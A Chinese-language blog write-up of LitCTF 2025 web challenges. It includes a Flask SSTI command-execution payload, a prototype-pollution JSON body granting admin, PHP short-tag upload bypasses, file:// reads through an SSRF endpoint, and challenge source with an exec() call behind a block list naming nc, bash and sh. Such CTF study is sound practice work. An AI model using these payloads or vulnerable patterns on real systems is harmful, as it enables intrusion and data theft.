LitCTF 2025 Web 详解

LitCTF 2025 Web

这个比赛结束好久了,今天简单复盘一下几道Web题

image-20250814210327944

混了个优秀奖,还行,主要就是见好题呢

image-20250814162640455

nest_js

弱口令admin/password,登录进去就给flag

ez_file

登录页面源码提示用file协议查看,存在文件包含利用点

image-20250814163728723

弱密码admin/password直接登录成功

既然存在文件包含漏洞,后缀改为jpg即可

image-20250814164608151

看来对文件内容进行检测了,一般是检测 <? 或者 php 可以试着js或短标签绕过

image-20250814165027158

短标签绕过成功

image-20250814165146654

使用file进行包含利用即可

image-20250814165254979

星愿信箱

直接就是一个输入框,类似经典ssti的复读机

image-20250814173553139

使用插件看出是flask框架,应该是python的ssti

image-20250814173707379

进行测试,发现{{}}似乎被ban了

image-20250814173930594

使用{%%}绕过

image-20250814174022486

使用hackbar中flask的payload直接直接利用即可

{"cmd":"给我{%print(g.pop.__globals__.__builtins__['__import__']('os').popen('tac /f*').read())%}"}

image-20250814174149105

多重宇宙日记

注册后登录进去

image-20250814180734326

可以通过json来更新设置,存在利用点,接着对JS源码进行分析

首先看表单提交处理部分,仅处理预设字段,结构固定,不能进行利用,但是提供了isAdmin这个管理员标识属性

// 监听表单提交事件
document.getElementById('profileUpdateForm').addEventListener('submit', async function(event) {
    event.preventDefault();
    const settingsPayload = {};
    // 收集表单中的theme和language字段
    if (formData.get('theme')) settingsPayload.theme = formData.get('theme');
    if (formData.get('language')) settingsPayload.language = formData.get('language');

    // 发送POST请求到更新接口
    const response = await fetch('/api/profile/update', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ settings: settingsPayload }) // 数据包裹在settings键下
    });

    // 成功后刷新页面(关键注释)
    if (response.ok) {
        setTimeout(() => window.location.reload(), 1000); // 若isAdmin改变则更新导航栏
    }
});

接下来看原始 JSON 提交处理,允许自定义任意 JSON 结构,包括嵌套的__proto__字段

async function sendRawJson() {
    const rawJson = document.getElementById('rawJsonSettings').value;
    const parsedJson = JSON.parse(rawJson); // 解析用户输入的JSON

    // 直接发送用户输入的JSON数据到同一接口
    const response = await fetch('/api/profile/update', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify(parsedJson) // 无格式限制,完全由用户控制
    });

    // 同样在成功后刷新页面
    if (response.ok) {
        setTimeout(() => window.location.reload(), 1000); // 关联isAdmin状态更新
    }
}

通过/api/profile/update接口进行__proto__注入:通过该字段将isAdmin: true写入对象原型,实现全局污染。

image-20250814181420732

添加嵌套的__proto__字段进行原型链污染

{"settings":{"theme":"123","language":"123","__proto__": {"isAdmin": true}}}

更新后出现管理员面板,点击即可获得flag

image-20250814181609395

easy_signin

初始页面为403,目录扫描获取两个路径

image-20250814202947164

一个是状态响应一个是登录页面

在api.js中有一个路由,推测该接口可能存在文件读取或远程请求功能

image-20250814203114610

/api/sys/urlcode.php?url=php://filter/convert.base64-encode/resource=api/sys/urlcode.php

直接读取当然不行,使用php:// 协议读取被禁了

image-20250814203437625

拼接路径,使用file协议读取源码

api/sys/urlcode.php?url=file:///var/www/html/api/sys/urlcode.php

image-20250814203900359

<?php
error_reporting(0);

function curl($url){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_exec($ch);
    curl_close($ch);
}

$url = $_REQUEST['url'];
if($url){

    $forbidden_protocols = ['ftp://', 'php://', 'zlib://', 'data://', 'glob://', 'phar://', 'ssh2://', 'rar://', 'ogg://', 'expect://'];
    $protocol_block = false;
    foreach ($forbidden_protocols as $proto) {
        if (strpos($url, $proto) === 0) {  
            $protocol_block = true;
            break;
        }
    }
    $log_block = strpos($url, '.log') !== false;  
    
    if ($protocol_block) {
        echo "禁止访问:不允许使用 {$proto} 协议";
    } elseif ($log_block) {
        echo "禁止访问:URL 包含 .log";
    } elseif (strpos($url, 'login.php') !== false || strpos($url, 'dashboard.php') !== false || strpos($url, '327a6c4304ad5938eaf0efb6cc3e53dc.php') !== false) {
        echo "看不见哦";
    } else {
        echo "<b>".$url." 的快照如下:</b><br><br>";
        echo "<pre>";
        curl($url);
        include($url);
        echo "</pre>";
    }
}
?>

尝试读取限制的文件,一直改路径都没成功,直接访问,获取flag

image-20250814204126115

还有些大佬是登录进去获取了一个路由,进行SSRF读取flag的

登录后路由给出路由backup/8e0132966053d4bf8b2dbe4ede25502b.php

同样拼接进行读取

view-source:http://node6.anna.nssctf.cn:21528/api/sys/urlcode.php?url=file:///var/www/html/backup/8e0132966053d4bf8b2dbe4ede25502b.php

image-20250814204824572

<?php
if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
highlight_file(__FILE__);

$name="waf";
$name = $_GET['name'];


if (preg_match('/\b(nc|bash|sh)\b/i', $name)) {
    echo "waf!!";
    exit;
}


if (preg_match('/more|less|head|sort/', $name)) {
    echo "waf";
    exit;
}


if (preg_match('/tail|sed|cut|awk|strings|od|ping/', $name)) {
    echo "waf!";
    exit;
}

exec($name, $output, $return_var);
echo "执行结果:\n";
print_r($output);
echo "\n返回码:$return_var";
} else {
    echo("非本地用户");
}

?>

仅限本地访问(REMOTE_ADDR == 127.0.0.1),只能通过SSRF绕过

由于urlcode.php可发起本地请求(通过curlinclude),结合其未过滤http://协议的特性,构造 SSRF payload 进行RCE

查找flag,二次url编码后读取上一个目录找到一个php文件

注:对目标路径进行二次 URL 编码,避免特殊字符被拦截

image-20250814205326540

同样,只有访问才能看见,不能进行读取

posted @ 2025-08-14 21:08  F0T0ne  阅读(7)  评论(0)    收藏  举报